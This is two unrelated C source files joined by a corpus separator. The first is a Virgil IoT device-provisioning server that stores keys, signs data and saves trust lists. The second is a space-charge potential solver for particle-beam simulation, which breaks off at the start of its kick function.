// notice, this list of conditions and the following disclaimer.
//
// (2) Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in
// the documentation and/or other materials provided with the
// distribution.
//
// (3) Neither the name of the copyright holder nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
// IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//
// Lead Maintainer: Virgil Security Inc. <[email protected]>
#if PRVS_SERVER
#include <virgil/iot/protocols/snap/generated/snap_cvt.h>
#include <virgil/iot/protocols/snap/prvs/prvs-server.h>
#include <virgil/iot/macros/macros.h>
#include <virgil/iot/protocols/snap.h>
#include <virgil/iot/logger/logger.h>
#include <stdlib-config.h>
#include <global-hal.h>
#include <stdbool.h>
#include <string.h>
#include <virgil/iot/secmodule/secmodule-helpers.h>
#include <virgil/iot/secmodule/secmodule.h>
#include <virgil/iot/trust_list/trust_list.h>
static vs_snap_service_t _prvs_server = {0, 0, 0, 0, 0, 0};
static bool _prvs_service_ready = false;
static bool _storage_initialized = false;
static vs_secmodule_impl_t *_secmodule = NULL;
static int32_t _last_request_id = 0;
#define VS_PRVS_SERVER_PROFILE 0
#if VS_PRVS_SERVER_PROFILE
#include <sys/time.h>
static long long _processing_time = 0;
static long _calls_counter = 0;
/******************************************************************************/
static long long
current_timestamp() {
struct timeval te;
gettimeofday(&te, NULL); // get current time
long long us = te.tv_sec * 1000LL + te.tv_usec / 1000; // calculate ms
return us;
}
#define VS_PRVS_SERVER_PROFILE_START \
long long t; \
long long dt; \
do { \
_calls_counter++; \
t = current_timestamp(); \
} while (0)
#define VS_PRVS_SERVER_PROFILE_END(DESC) \
do { \
dt = current_timestamp() - t; \
_processing_time += dt; \
VS_LOG_INFO("[" #DESC "]. Time op = %lld ms Total time: %lld ms Calls: %ld", \
dt, \
_processing_time, \
_calls_counter); \
} while (0)
#else
#define VS_PRVS_SERVER_PROFILE_START
#define VS_PRVS_SERVER_PROFILE_END(DESC)
#endif
/******************************************************************************/
static bool
vs_prvs_server_is_initialized(void) {
// TODO: Check is device initialized
return false;
}
/******************************************************************************/
static vs_status_e
vs_prvs_server_device_info(vs_snap_prvs_devi_t *device_info, uint16_t buf_sz) {
uint16_t key_sz = 0;
vs_secmodule_keypair_type_e ec_type;
vs_pubkey_dated_t *own_pubkey;
uint16_t sign_sz = 0;
vs_sign_t *sign;
vs_status_e ret_code;
VS_PRVS_SERVER_PROFILE_START;
// Check input parameters
VS_IOT_ASSERT(device_info);
VS_IOT_ASSERT(_secmodule);
VS_IOT_ASSERT(_secmodule->get_pubkey);
VS_IOT_ASSERT(_secmodule->slot_load);
// Fill MAC address
vs_snap_mac_addr(NULL, &device_info->mac);
// Fill Manufacture ID
VS_IOT_MEMCPY(device_info->manufacturer, vs_snap_device_manufacture(), VS_DEVICE_MANUFACTURE_ID_SIZE);
// Fill device Type ID
VS_IOT_MEMCPY(device_info->device_type, vs_snap_device_type(), VS_DEVICE_TYPE_SIZE);
// Fill Serial of device
VS_IOT_MEMCPY(device_info->serial, vs_snap_device_serial(), VS_DEVICE_SERIAL_SIZE);
// Fill own public key
own_pubkey = (vs_pubkey_dated_t *)device_info->data;
STATUS_CHECK_RET(_secmodule->get_pubkey(
PRIVATE_KEY_SLOT, own_pubkey->pubkey.meta_and_pubkey, PUBKEY_MAX_SZ, &key_sz, &ec_type),
"Unable to get public key");
own_pubkey->pubkey.key_type = VS_KEY_IOT_DEVICE;
own_pubkey->pubkey.ec_type = ec_type;
own_pubkey->pubkey.meta_data_sz = 0;
own_pubkey->start_date = 0;
own_pubkey->expire_date = 0;
device_info->data_sz = key_sz + sizeof(vs_pubkey_dated_t);
sign = (vs_sign_t *)((uint8_t *)own_pubkey + key_sz + sizeof(vs_pubkey_dated_t));
buf_sz -= device_info->data_sz;
// Load signature
STATUS_CHECK_RET(_secmodule->slot_load(SIGNATURE_SLOT, (uint8_t *)sign, buf_sz, &sign_sz), "Unable to load slot");
device_info->data_sz += sign_sz;
VS_PRVS_SERVER_PROFILE_END(vs_prvs_server_device_info);
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
vs_prvs_save_data(vs_snap_prvs_element_e element_id, const uint8_t *data, uint16_t data_sz) {
uint16_t slot;
vs_status_e ret_code;
VS_PRVS_SERVER_PROFILE_START;
VS_IOT_ASSERT(_secmodule);
VS_IOT_ASSERT(_secmodule->slot_save);
STATUS_CHECK_RET(vs_provision_get_slot_num((vs_provision_element_id_e)element_id, &slot), "Unable to get slot");
ret_code = _secmodule->slot_save(slot, data, data_sz);
VS_PRVS_SERVER_PROFILE_END(vs_prvs_save_data);
return ret_code;
}
/******************************************************************************/
static vs_status_e
vs_prvs_finalize_storage(vs_pubkey_dated_t *asav_response, uint16_t *resp_sz) {
uint16_t key_sz = 0;
vs_secmodule_keypair_type_e ec_type;
vs_status_e ret_code;
VS_PRVS_SERVER_PROFILE_START;
VS_IOT_ASSERT(asav_response);
VS_IOT_ASSERT(resp_sz);
VS_IOT_ASSERT(_secmodule);
VS_IOT_ASSERT(_secmodule->slot_clean);
VS_IOT_ASSERT(_secmodule->create_keypair);
VS_IOT_ASSERT(_secmodule->get_pubkey);
if (!_storage_initialized) {
STATUS_CHECK_RET(_secmodule->slot_clean(REC1_KEY_SLOT), "Unable to delete REC1_KEY slot");
STATUS_CHECK_RET(_secmodule->slot_clean(REC2_KEY_SLOT), "Unable to delete REC2_KEY slot");
}
STATUS_CHECK_RET(_secmodule->get_pubkey(
PRIVATE_KEY_SLOT, asav_response->pubkey.meta_and_pubkey, PUBKEY_MAX_SZ, &key_sz, &ec_type),
"Unable to get public key");
asav_response->pubkey.key_type = VS_KEY_IOT_DEVICE;
asav_response->pubkey.ec_type = ec_type;
asav_response->pubkey.meta_data_sz = 0;
*resp_sz = sizeof(vs_pubkey_dated_t) + key_sz;
VS_PRVS_SERVER_PROFILE_END(vs_prvs_finalize_storage);
_storage_initialized = true;
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
vs_prvs_start_save_tl(const uint8_t *data, uint16_t data_sz) {
vs_status_e ret_code;
vs_tl_element_info_t info;
VS_PRVS_SERVER_PROFILE_START;
info.id = VS_TL_ELEMENT_TLH;
info.index = 0;
ret_code = vs_tl_save_part(&info, data, data_sz);
VS_PRVS_SERVER_PROFILE_END(vs_prvs_start_save_tl);
return ret_code;
}
/******************************************************************************/
static vs_status_e
vs_prvs_save_tl_part(const uint8_t *data, uint16_t data_sz) {
vs_tl_element_info_t info;
vs_status_e ret_code;
VS_PRVS_SERVER_PROFILE_START;
info.id = VS_TL_ELEMENT_TLC;
info.index = 0;
ret_code = vs_tl_save_part(&info, data, data_sz);
VS_PRVS_SERVER_PROFILE_END(vs_prvs_save_tl_part);
return ret_code;
}
/******************************************************************************/
static vs_status_e
vs_prvs_finalize_tl(const uint8_t *data, uint16_t data_sz) {
vs_tl_element_info_t info;
vs_status_e ret_code;
VS_PRVS_SERVER_PROFILE_START;
info.id = VS_TL_ELEMENT_TLF;
info.index = 0;
ret_code = vs_tl_save_part(&info, data, data_sz);
VS_PRVS_SERVER_PROFILE_END(vs_prvs_finalize_tl);
if (VS_CODE_OK == ret_code) {
vs_provision_update();
}
return ret_code;
}
/******************************************************************************/
static vs_status_e
vs_prvs_sign_data(const uint8_t *data, uint16_t data_sz, uint8_t *signature, uint16_t buf_sz, uint16_t *signature_sz) {
uint16_t sign_sz;
uint16_t pubkey_sz;
vs_status_e ret_code;
VS_PRVS_SERVER_PROFILE_START;
VS_IOT_ASSERT(signature_sz);
VS_IOT_ASSERT(data);
VS_IOT_ASSERT(signature);
VS_IOT_ASSERT(_secmodule);
VS_IOT_ASSERT(_secmodule->hash);
VS_IOT_ASSERT(_secmodule->ecdsa_sign);
VS_IOT_ASSERT(_secmodule->get_pubkey);
*signature_sz = 0;
vs_snap_prvs_sgnp_req_t *request = (vs_snap_prvs_sgnp_req_t *)data;
vs_sign_t *response = (vs_sign_t *)signature;
int hash_len = vs_secmodule_get_hash_len(request->hash_type);
vs_secmodule_keypair_type_e keypair_type;
if (hash_len <= 0 || buf_sz <= sizeof(vs_sign_t)) {
return VS_CODE_ERR_INCORRECT_PARAMETER;
}
uint8_t hash[hash_len];
buf_sz -= sizeof(vs_sign_t);
STATUS_CHECK_RET(_secmodule->hash(request->hash_type,
(uint8_t *)&request->data,
data_sz - sizeof(vs_snap_prvs_sgnp_req_t),
hash,
hash_len,
&sign_sz),
"Unable to create hash");
STATUS_CHECK_RET(_secmodule->ecdsa_sign(
PRIVATE_KEY_SLOT, request->hash_type, hash, response->raw_sign_pubkey, buf_sz, &sign_sz),
"Unable to sign");
buf_sz -= sign_sz;
STATUS_CHECK_RET(_secmodule->get_pubkey(
PRIVATE_KEY_SLOT, response->raw_sign_pubkey + sign_sz, buf_sz, &pubkey_sz, &keypair_type),
"Unable to get public key");
response->signer_type = VS_KEY_IOT_DEVICE;
response->hash_type = (uint8_t)request->hash_type;
response->ec_type = (uint8_t)keypair_type;
*signature_sz = sizeof(vs_sign_t) + sign_sz + pubkey_sz;
VS_PRVS_SERVER_PROFILE_END(vs_prvs_sign_data);
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
_prvs_dnid_process_request(const struct vs_netif_t *netif,
const uint8_t *request,
const uint16_t request_sz,
uint8_t *response,
const uint16_t response_buf_sz,
uint16_t *response_sz) {
VS_PRVS_SERVER_PROFILE_START;
vs_snap_prvs_dnid_element_t *dnid_response = (vs_snap_prvs_dnid_element_t *)response;
// Check input parameters
VS_IOT_ASSERT(response_buf_sz >= sizeof(vs_snap_prvs_dnid_element_t));
if (vs_prvs_server_is_initialized()) {
// No need in response, because device is initialized already
return VS_CODE_COMMAND_NO_RESPONSE;
}
// Fill MAC address
vs_snap_mac_addr(netif, &dnid_response->mac_addr);
dnid_response->device_roles = vs_snap_device_roles();
*response_sz = sizeof(vs_snap_prvs_dnid_element_t);
VS_PRVS_SERVER_PROFILE_END(_prvs_dnid_process_request);
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
_prvs_key_save_process_request(const struct vs_netif_t *netif,
vs_snap_element_t element_id,
const uint8_t *request,
const uint16_t request_sz) {
vs_status_e ret_code = VS_CODE_OK;
vs_snap_prvs_set_data_t *data = (vs_snap_prvs_set_data_t *)request;
VS_PRVS_SERVER_PROFILE_START;
CHECK_RET(request_sz > sizeof(vs_snap_prvs_set_data_t),
VS_CODE_ERR_INCORRECT_PARAMETER,
"Wrong provision key save request");
vs_snap_prvs_set_data_t_decode(data);
if (_last_request_id != data->request_id) {
ret_code = vs_prvs_save_data(element_id, data->data, request_sz - sizeof(vs_snap_prvs_set_data_t));
_last_request_id = data->request_id;
}
VS_PRVS_SERVER_PROFILE_END(_prvs_key_save_process_request);
return ret_code;
}
/******************************************************************************/
static vs_status_e
_prvs_devi_process_request(const struct vs_netif_t *netif,
const uint8_t *request,
const uint16_t request_sz,
uint8_t *response,
const uint16_t response_buf_sz,
uint16_t *response_sz) {
vs_status_e ret_code;
vs_snap_prvs_devi_t *devi_response = (vs_snap_prvs_devi_t *)response;
VS_PRVS_SERVER_PROFILE_START;
STATUS_CHECK_RET(vs_prvs_server_device_info(devi_response, response_buf_sz), "Unable to get device info");
*response_sz = sizeof(vs_snap_prvs_devi_t) + devi_response->data_sz;
// Normalize byte order
vs_snap_prvs_devi_t_encode(devi_response);
VS_PRVS_SERVER_PROFILE_END(_prvs_devi_process_request);
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
_prvs_asav_process_request(const struct vs_netif_t *netif,
const uint8_t *request,
const uint16_t request_sz,
uint8_t *response,
const uint16_t response_buf_sz,
uint16_t *response_sz) {
VS_PRVS_SERVER_PROFILE_START;
vs_pubkey_dated_t *asav_response = (vs_pubkey_dated_t *)response;
vs_status_e ret_code = vs_prvs_finalize_storage(asav_response, response_sz);
VS_PRVS_SERVER_PROFILE_END(_prvs_asav_process_request);
return ret_code;
}
/******************************************************************************/
static vs_status_e
_prvs_asgn_process_request(const struct vs_netif_t *netif,
const uint8_t *request,
const uint16_t request_sz,
uint8_t *response,
const uint16_t response_buf_sz,
uint16_t *response_sz) {
vs_status_e ret_code;
uint16_t result_sz;
VS_PRVS_SERVER_PROFILE_START;
STATUS_CHECK_RET(vs_prvs_sign_data(request, request_sz, response, response_buf_sz, &result_sz),
"Unable to sign data");
*response_sz = result_sz;
VS_PRVS_SERVER_PROFILE_END(_prvs_asgn_process_request);
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
_prvs_start_tl_process_request(const struct vs_netif_t *netif, const uint8_t *request, const uint16_t request_sz) {
vs_status_e ret_code;
vs_snap_prvs_set_data_t *data = (vs_snap_prvs_set_data_t *)request;
CHECK_RET(request_sz > sizeof(vs_snap_prvs_set_data_t), VS_CODE_ERR_INCORRECT_PARAMETER, "Wrong TLH request");
vs_snap_prvs_set_data_t_decode(data);
if (_last_request_id != data->request_id) {
STATUS_CHECK_RET(vs_prvs_start_save_tl(data->data, request_sz - sizeof(vs_snap_prvs_set_data_t)),
"Unable to start save Trust List");
_last_request_id = data->request_id;
}
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
_prvs_tl_part_process_request(const struct vs_netif_t *netif, const uint8_t *request, const uint16_t request_sz) {
vs_status_e ret_code;
vs_snap_prvs_set_data_t *data = (vs_snap_prvs_set_data_t *)request;
CHECK_RET(request_sz > sizeof(vs_snap_prvs_set_data_t), VS_CODE_ERR_INCORRECT_PARAMETER, "Wrong TLC request");
vs_snap_prvs_set_data_t_decode(data);
if (_last_request_id != data->request_id) {
STATUS_CHECK_RET(vs_prvs_save_tl_part(data->data, request_sz - sizeof(vs_snap_prvs_set_data_t)),
"Unable to save Trust List part");
_last_request_id = data->request_id;
}
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
_prvs_finalize_tl_process_request(const struct vs_netif_t *netif, const uint8_t *request, const uint16_t request_sz) {
vs_status_e ret_code;
vs_snap_prvs_set_data_t *data = (vs_snap_prvs_set_data_t *)request;
CHECK_RET(request_sz > sizeof(vs_snap_prvs_set_data_t), VS_CODE_ERR_INCORRECT_PARAMETER, "Wrong TLF request");
vs_snap_prvs_set_data_t_decode(data);
if (_last_request_id != data->request_id) {
STATUS_CHECK_RET(vs_prvs_finalize_tl(data->data, request_sz - sizeof(vs_snap_prvs_set_data_t)),
"Unable to finalize Trust List");
_last_request_id = data->request_id;
}
return VS_CODE_OK;
}
/******************************************************************************/
static vs_status_e
_prvs_service_request_processor(const struct vs_netif_t *netif,
const vs_ethernet_header_t *eth_header,
vs_snap_element_t element_id,
const uint8_t *request,
const uint16_t request_sz,
uint8_t *response,
const uint16_t response_buf_sz,
uint16_t *response_sz) {
*response_sz = 0;
switch (element_id) {
case VS_PRVS_DNID:
return _prvs_dnid_process_request(netif, request, request_sz, response, response_buf_sz, response_sz);
case VS_PRVS_DEVI:
return _prvs_devi_process_request(netif, request, request_sz, response, response_buf_sz, response_sz);
case VS_PRVS_ASAV:
return _prvs_asav_process_request(netif, request, request_sz, response, response_buf_sz, response_sz);
case VS_PRVS_ASGN:
return _prvs_asgn_process_request(netif, request, request_sz, response, response_buf_sz, response_sz);
case VS_PRVS_TLH:
return _prvs_start_tl_process_request(netif, request, request_sz);
case VS_PRVS_TLC:
return _prvs_tl_part_process_request(netif, request, request_sz);
case VS_PRVS_TLF:
return _prvs_finalize_tl_process_request(netif, request, request_sz);
case VS_PRVS_PBR1:
case VS_PRVS_PBR2:
case VS_PRVS_PBA1:
case VS_PRVS_PBA2:
case VS_PRVS_PBT1:
case VS_PRVS_PBT2:
case VS_PRVS_PBF1:
case VS_PRVS_PBF2:
case VS_PRVS_SGNP:
return _prvs_key_save_process_request(netif, element_id, request, request_sz);
default:
VS_LOG_ERROR("Unsupported PRVS request %d", element_id);
return VS_CODE_COMMAND_NO_RESPONSE;
}
}
/******************************************************************************/
static void
_prepare_prvs_service() {
_prvs_server.user_data = 0;
_prvs_server.id = VS_PRVS_SERVICE_ID;
_prvs_server.request_process = _prvs_service_request_processor;
_prvs_server.response_process = NULL;
_prvs_server.periodical_process = NULL;
}
/******************************************************************************/
const vs_snap_service_t *
vs_snap_prvs_server(vs_secmodule_impl_t *secmodule) {
CHECK_NOT_ZERO_RET(secmodule, NULL);
_last_request_id = 0;
if (!_prvs_service_ready) {
_prepare_prvs_service();
_prvs_service_ready = true;
_secmodule = secmodule;
}
return &_prvs_server;
}
/******************************************************************************/
#endif // PRVS_SERVER
|
the_stack_data/32916.c
|
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <string.h>
/* #define m_e 0.51099906e-3 */
#define m_e 0.51099906e6 /* unit: eV */
#define r_e 2.81794092e-15
extern void create_env_psn(int, int, double, double);
extern void clear_env_psn(void);
extern void calc_potential_psn(double*, double*);
void rhocal(double*,double*,double*,int);
void makebcu(double*);
void epotkick(double*,double*,double*,double*,double*,
double*,int,double);
void splined(double x[],double y[],int n,double yp1,double ypn,double y2[]);
double *rhoxy,*rhoz;
double *rhoz_sp,*z_sp;
double *btab,*ftab;
double *phi;
double **SP;
int nx_psn;
int ny_psn;
int nz_psn;
int np_psn;
int CalcPotentialFlag=1;
double dx_psn,dy_psn,dz_psn;
int ixc_psn,jyc_psn,kzc_psn;
double xc_psn,yc_psn,zc_psn,xm_psn,ym_psn,zm_psn;
double Kcoeff,r_0;
void InitPotentialSolver(int nx,int ny,int nz,
double dx,double dy,double dz)
{
int size,i;
nx_psn=nx;
ny_psn=ny;
nz_psn=nz;
dx_psn=dx;
dy_psn=dy;
dz_psn=dz;
printf(" InitPotentialSolver nx= %d \n",nx);
size = (nx_psn+1)*(ny_psn+1)*sizeof(double);
rhoxy = (double*)malloc(size);
phi= (double*)malloc(size);
/*phixy= (double*)malloc(size);*/
size = (nz_psn+1)*sizeof(double);
rhoz = (double*)malloc(size);
rhoz_sp = (double*)malloc(size);
z_sp=(double*)malloc(size);
size = 16*(nx_psn+1)*(ny_psn+1)*sizeof(double);
btab = (double*)malloc(size);
ftab = (double*)malloc(size);
ixc_psn=nx_psn/2;
jyc_psn=ny_psn/2;
kzc_psn=nz_psn/2;
xc_psn=ixc_psn*dx_psn;
yc_psn=jyc_psn*dy_psn;
zc_psn=kzc_psn*dz_psn;
xm_psn=dx_psn*(ixc_psn-1);
ym_psn=dy_psn*(jyc_psn-1);
zm_psn=dz_psn*(kzc_psn-1);
create_env_psn(nx_psn, ny_psn, dx_psn, dy_psn);
for(i=0;i<nz_psn+1;i++) {
z_sp[i]=(i-kzc_psn)*dz_psn;
}
printf("Potential solver is initialized\n");
}
void ClearPotentialSolver(int ispend)
{
int i;
free(rhoxy);
free(phi);
free(rhoz);
free(rhoz_sp);
free(z_sp);
free(btab);
free(ftab);
for(i=0;i<ispend-1;i++) free(SP[i]);
free(SP);
clear_env_psn();
}
void SpaceChargeBPSet(double rnp,double mass,double Gamma)
{
double Beta;
r_0=r_e*m_e/mass;
Beta=sqrt(1.-1./Gamma/Gamma);
Kcoeff=2.*rnp*r_0/Beta/Beta/Gamma/Gamma/Gamma;
printf("Np, beta, gamma, K %e %e %e %e \n",rnp,Beta,Gamma,Kcoeff);
}
double **SpaceChargeParamSet(int nlatend,int isp)
{
int n;
int size;
if(isp==0){
/*printf(" SpaceChargeParamSet nlatend= %d \n",nlatend);*/
SP=(double **)malloc(nlatend*sizeof(double *));
if(SP==NULL){
printf("failed in malloc SP\n");
exit(1);
}
}
size=sizeof(double)*16*(nx_psn+1)*(ny_psn+1);
SP[isp]=(double*)malloc(size);
if(SP[isp]==NULL){
printf("failed in malloc SP[isp]\n");
exit(1);
}
memset(SP[isp], 0, size);
/* printf(" SpaceChargeParamSet isp= %d, SP = %p %p %p \n",isp,SP,
SP[0],SP[isp]);*/
return SP;
}
void PotentialSolverPrint()
{
printf(" Nx Ny Nz = %d x %d x %d\n",nx_psn,ny_psn,nz_psn);
printf(" dx dy dz = %f x %f x %f\n",dx_psn,dy_psn,dz_psn);
printf(" r_0 = %le 2 N_p r_0/beta^2/gamm^3 = %le\n",r_0,Kcoeff);
}
//void SpaceChargeMapping(double* x,double* px,double* y,double* py,
// double* z,double* pz,int np,
// double TravelLength)
//void SpaceChargeMapping(double** SP,int isp,double* x,int np,
// double TravelLength)
void SpaceChargeMapping(double** SP,int isp,double* x,double* px,
double* y,double* py, double* z, double* pz,
int np,double TravelLength)
{
int i,j;
/* double *px,*y,*py,*z,*pz;*/
/* FILE *fout; */
/* px=x+np; y=px+np; py=y+np; z=py+np; pz=z+np; */
btab=SP[isp];
/* printf(" SpaceChargeMapping isp= %d btab = %p TravelL = %f \n",
isp,btab,TravelLength); */
/* printf(" SpaceChargeMapping x= %p px = %p z = %p pz = %p \n",
x,px,z,pz); */
if(CalcPotentialFlag) {
rhocal(x,y,z,np);
np_psn=np;
calc_potential_psn(rhoxy,phi);
/* if(isp==0){
fout=fopen("rhoxy.dat","w");
for(i=0; i<nx_psn+1; i++){
for( j = 0; j<ny_psn+1; j++ ){
fprintf(fout,"%d %d %lf \n", i, j, rhoxy[i*(ny_psn+1)+j]);
}
}
fclose(fout);
fout=fopen("phixy.dat","w");
for(i=0; i<nx_psn+1; i++){
for( j = 0; j<ny_psn+1; j++ ){
fprintf(fout,"%d %d %lf \n", i, j, phi[i*(ny_psn+1)+j]);
}
}
fclose(fout);
} */
/*memcpy(phi,phixy,sizeof(double)*(nx_psn+1)*(ny_psn+1));*/
makebcu(btab);
}
/*else {
memcpy(phixy,phi,sizeof(double)*(nx_psn+1)*(ny_psn+1));
}*/
/* makebcu(phi);*/
splined(z_sp,rhoz,nz_psn,0.,0.,rhoz_sp);
epotkick(x,px,y,py,z,pz,np,TravelLength);
}
void SetCalcPotential(int it)
{
CalcPotentialFlag=1;
}
void UnSetCalcPotential(int it)
{
CalcPotentialFlag=0;
}
void PrintPot(FILE *fdo)
{
int i,j;
for(i=0; i<nx_psn+1; i++){
for( j = 0; j<ny_psn+1; j++ ){
fprintf(fdo,"%d %d %lf %le\n", i, j, rhoxy[i*(ny_psn+1)+j],
phi[i*(ny_psn+1)+j]);
}
}
}
void rhocal(double* x,double* y,double* z,int np)
{
int i,j,ii,jj,nm,iijj;
double xic,yjc,zic,dxic,dyjc,dzic,rxi,ryj,rzi,rxin,ryjn,rzin;
memset(rhoxy, 0, sizeof(double)*(nx_psn+1)*(ny_psn+1));
memset(rhoz, 0, sizeof(double)*(nz_psn+1));
nm=0;
for(i=0;i<np;i++) {
if(fabs(x[i])>xm_psn || fabs(y[i])>ym_psn) continue;
ii=(x[i]+xc_psn)/dx_psn;
jj=(y[i]+yc_psn)/dy_psn;
xic=(ii-ixc_psn)*dx_psn;
yjc=(jj-jyc_psn)*dy_psn;
dxic=x[i]-xic;
dyjc=y[i]-yjc;
rxin=fabs(dxic/dx_psn);
rxi=1.-rxin;
ryjn=fabs(dyjc/dy_psn);
ryj=1.-ryjn;
iijj=ii*(ny_psn+1)+jj;
rhoxy[iijj]+=rxi*ryj;
rhoxy[iijj+ny_psn+1]+=rxin*ryj;
rhoxy[iijj+ny_psn+2]+=rxin*ryjn;
rhoxy[iijj+1]+=rxi*ryjn;
nm=nm+1;
if(fabs(z[i])>zm_psn) continue;
ii=(z[i]+zc_psn)/dz_psn;
/*
zic=(ii-kzc_psn)*dz_psn;
dzic=z[i]-zic;
rzin=fabs(dzic/dz_psn);
rzi=1.-rzin;
if(ii<=0 || ii>nz_psn) continue;
rhoz[ii]+=rzi;
rhoz[ii+1]+=rzin;
*/
zic=(ii-kzc_psn)*dz_psn;
dzic=(z[i]-zic)/dz_psn;
//if(ii<=0 || ii>nz_psn) continue;
if(dzic<0.5) {
rzin=2.*dzic*dzic;
rzi=1.-rzin;
rhoz[ii]+=rzi;
rhoz[ii]+=rzin;
}
else {
rzi=2.*(1.-dzic)*(1.-dzic);
rzin=1.-rzi;
rhoz[ii]+=rzi;
rhoz[ii+1]+=rzin;
}
//printf("%d %f %f dzic=%f %f %f\n",ii,z[i],zic,dzic,rzi,rzin);
}
}
static double wt[16][16]=
{ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
-3, 0, 0, 3, 0, 0, 0, 0,-2, 0, 0,-1, 0, 0, 0, 0,
2, 0, 0,-2, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0,
0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0,
0, 0, 0, 0,-3, 0, 0, 3, 0, 0, 0, 0,-2, 0, 0,-1,
0, 0, 0, 0, 2, 0, 0,-2, 0, 0, 0, 0, 1, 0, 0, 1,
-3, 3, 0, 0,-2,-1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,-3, 3, 0, 0,-2,-1, 0, 0,
9,-9, 9,-9, 6, 3,-3,-6, 6,-6,-3, 3, 4, 2, 1, 2,
-6, 6,-6, 6,-4,-2, 2, 4,-3, 3, 3,-3,-2,-1,-1,-2,
2,-2, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 2,-2, 0, 0, 1, 1, 0, 0,
-6, 6,-6, 6,-3,-3, 3, 3,-4, 4, 2,-2,-2,-2,-1,-1,
4,-4, 4,-4, 2, 2,-2,-2, 2,-2,-2, 2, 1, 1, 1, 1 };
void makebcu(double* btab)
{
double ax,ay,b;
int i,j,k,m,l,mx,my,ij,ijf,size;
double dx4,dy4,d1d2,xx;
ax=1./(2.*dx_psn);
ay=1./(2.*dy_psn);
b=ax*ay;
for(i=1;i<nx_psn;i++) {
for(j=1;j<ny_psn;j++) {
ij=i*(ny_psn+1)+j;
ijf=ij*16;
ftab[ijf]=phi[ij];
ftab[1+ijf]=phi[ij+ny_psn+1];
ftab[2+ijf]=phi[ij+ny_psn+2];
ftab[3+ijf]=phi[ij+1];
ftab[4+ijf]=(phi[ij+ny_psn+1]-phi[ij-ny_psn-1])*0.5;
ftab[5+ijf]=(phi[ij+2*ny_psn+2]-phi[ij])*0.5;
ftab[6+ijf]=(phi[ij+2*ny_psn+3]-phi[ij+1])*0.5;
ftab[7+ijf]=(phi[ij+ny_psn+2]-phi[ij-ny_psn])*0.5;
ftab[8+ijf]=(phi[ij+1]-phi[ij-1])*0.5;
ftab[9+ijf]=(phi[ij+ny_psn+2]-phi[ij+ny_psn])*0.5;
ftab[10+ijf]=(phi[ij+ny_psn+3]-phi[ij+ny_psn+1])*0.5;
ftab[11+ijf]=(phi[ij+2]-phi[ij])*0.5;
ftab[12+ijf]=(phi[ij+ny_psn+2]-phi[ij+ny_psn]-
phi[ij-ny_psn]+phi[ij-ny_psn-2])*0.25;
ftab[13+ijf]=(phi[ij+2*ny_psn+3]-phi[ij+2*ny_psn+1]-
phi[ij+1]+phi[ij-1])*0.25;
ftab[14+ijf]=(phi[ij+2*ny_psn+4]-phi[ij+2*ny_psn+2]-
phi[ij+2]+phi[ij])*0.25;
ftab[15+ijf]=(phi[ij+ny_psn+3]-phi[ij+ny_psn+1]-
phi[ij-ny_psn+1]+phi[ij-ny_psn-1])*0.25;
}
}
for(m=0;m<16;m++) {
for(i=1;i<nx_psn;i++) {
for(j=1;j<ny_psn;j++) {
ij=i*(ny_psn+1)+j;
ijf=ij*16;
btab[m+ijf]=wt[m][0]*ftab[ijf]+wt[m][1]*ftab[1+ijf]+
wt[m][2]*ftab[2+ijf]+wt[m][3]*ftab[3+ijf]+
wt[m][4]*ftab[4+ijf]+wt[m][5]*ftab[5+ijf]+
wt[m][6]*ftab[6+ijf]+wt[m][7]*ftab[7+ijf]+
wt[m][8]*ftab[8+ijf]+wt[m][9]*ftab[9+ijf]+
wt[m][10]*ftab[10+ijf]+wt[m][11]*ftab[11+ijf]+
wt[m][12]*ftab[12+ijf]+wt[m][13]*ftab[13+ijf]+
wt[m][14]*ftab[14+ijf]+wt[m][15]*ftab[15+ijf];
}
}
}
/* for(i=1;i<nx_psn;i++) {
j=64;
for(m=0;m<16;m++) {
ij=i*(ny_psn+1)+j;
ijf=ij*16;
printf("%d %d %d %f %f\n",i,j,m,btab[m+ijf],f[m+ijf]);
}
}
printf("Compare wt\n");
for(i=0;i<16;i++) {
for(j=0;j<16;j++) {
if(wtfor[i][j]!=wt[i][j]) {
printf("%d %d %f %f\n",i,j,wtfor[i][j],wt[i][j]);
}
}
}
printf("Compare wt end\n");*/
}
void epotkick(double* x,double* px,double* y,double* py,double* z,
double* pz,int np,double TravelLength)
{
